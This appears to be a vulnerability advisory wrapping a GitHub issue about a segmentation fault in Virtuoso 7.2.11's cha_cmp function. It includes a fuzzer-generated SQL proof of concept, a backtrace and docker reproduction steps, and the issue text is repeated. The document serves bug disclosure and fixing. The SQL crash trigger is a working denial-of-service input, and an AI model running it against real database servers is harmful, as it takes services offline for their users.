An issue in the cha_cmp function of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE v0 ( v1 INT ) ;
 INSERT INTO v0 ( v1 , v1 , v1 ) VALUES ( 77 , -128 , -1 ) ;
 INSERT INTO v0 VALUES ( 4 ) ;
 SELECT CASE -128 / 56 WHEN v1 THEN 20 ELSE v1 + -2147483648 END , v1 FROM v0 UNION SELECT 19 , 0 * v1 FROM v0 GROUP BY v1 ;
```

backtrace:
```c
#0 0x42c769 (cha_cmp+0x69)
#1 0x4339cf (setp_chash_distinct_run+0x1dcf)
#2 0x434478 (setp_chash_distinct+0x3b8)
#3 0x63bdc3 (setp_node_run+0xe3)
#4 0x63cc23 (setp_node_input+0x33)
#5 0x7af05e (qn_input+0x3ce)
#6 0x7af78f (qn_ts_send_output+0x23f)
#7 0x437069 (chash_read_input+0x1029)
#8 0x7af05e (qn_input+0x3ce)
#9 0x7af4c6 (qn_send_output+0x236)
#10 0x7af05e (qn_input+0x3ce)
#11 0x63d1c3 (union_node_input+0x1d3)
#12 0x7518c7 (qr_resume_pending_nodes+0x197)
#13 0x751c9a (subq_next+0x1ba)
#14 0x821acb (subq_node_vec_input+0x2eb)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7af4c6 (qn_send_output+0x236)
#17 0x8214bd (set_ctr_vec_input+0x99d)
#18 0x7af05e (qn_input+0x3ce)
#19 0x7c084b (qr_exec+0x11db)
#20 0x7ce1d6 (sf_sql_execute+0x11a6)
#21 0x7cecde (sf_sql_execute_w+0x17e)
#22 0x7d799d (sf_sql_execute_wrapper+0x3d)
#23 0xe214bc (future_wrapper+0x3fc)
#24 0xe28dbe (_thread_boot+0x11e)
#25 0x7f14fb425609 (start_thread+0xd9)
#26 0x7f14fb1f5133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at cha_cmp
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at cha_cmp
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE v0 ( v1 INT ) ;
 INSERT INTO v0 ( v1 , v1 , v1 ) VALUES ( 77 , -128 , -1 ) ;
 INSERT INTO v0 VALUES ( 4 ) ;
 SELECT CASE -128 / 56 WHEN v1 THEN 20 ELSE v1 + -2147483648 END , v1 FROM v0 UNION SELECT 19 , 0 * v1 FROM v0 GROUP BY v1 ;
```

backtrace:
```c
#0 0x42c769 (cha_cmp+0x69)
#1 0x4339cf (setp_chash_distinct_run+0x1dcf)
#2 0x434478 (setp_chash_distinct+0x3b8)
#3 0x63bdc3 (setp_node_run+0xe3)
#4 0x63cc23 (setp_node_input+0x33)
#5 0x7af05e (qn_input+0x3ce)
#6 0x7af78f (qn_ts_send_output+0x23f)
#7 0x437069 (chash_read_input+0x1029)
#8 0x7af05e (qn_input+0x3ce)
#9 0x7af4c6 (qn_send_output+0x236)
#10 0x7af05e (qn_input+0x3ce)
#11 0x63d1c3 (union_node_input+0x1d3)
#12 0x7518c7 (qr_resume_pending_nodes+0x197)
#13 0x751c9a (subq_next+0x1ba)
#14 0x821acb (subq_node_vec_input+0x2eb)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7af4c6 (qn_send_output+0x236)
#17 0x8214bd (set_ctr_vec_input+0x99d)
#18 0x7af05e (qn_input+0x3ce)
#19 0x7c084b (qr_exec+0x11db)
#20 0x7ce1d6 (sf_sql_execute+0x11a6)
#21 0x7cecde (sf_sql_execute_w+0x17e)
#22 0x7d799d (sf_sql_execute_wrapper+0x3d)
#23 0xe214bc (future_wrapper+0x3fc)
#24 0xe28dbe (_thread_boot+0x11e)
#25 0x7f14fb425609 (start_thread+0xd9)
#26 0x7f14fb1f5133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the cha_cmp function of Virtuoso 7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. The provided proof of concept (PoC) demonstrates how specific SQL commands can lead to a crash, indicating a potential vulnerability in the handling of SQL queries.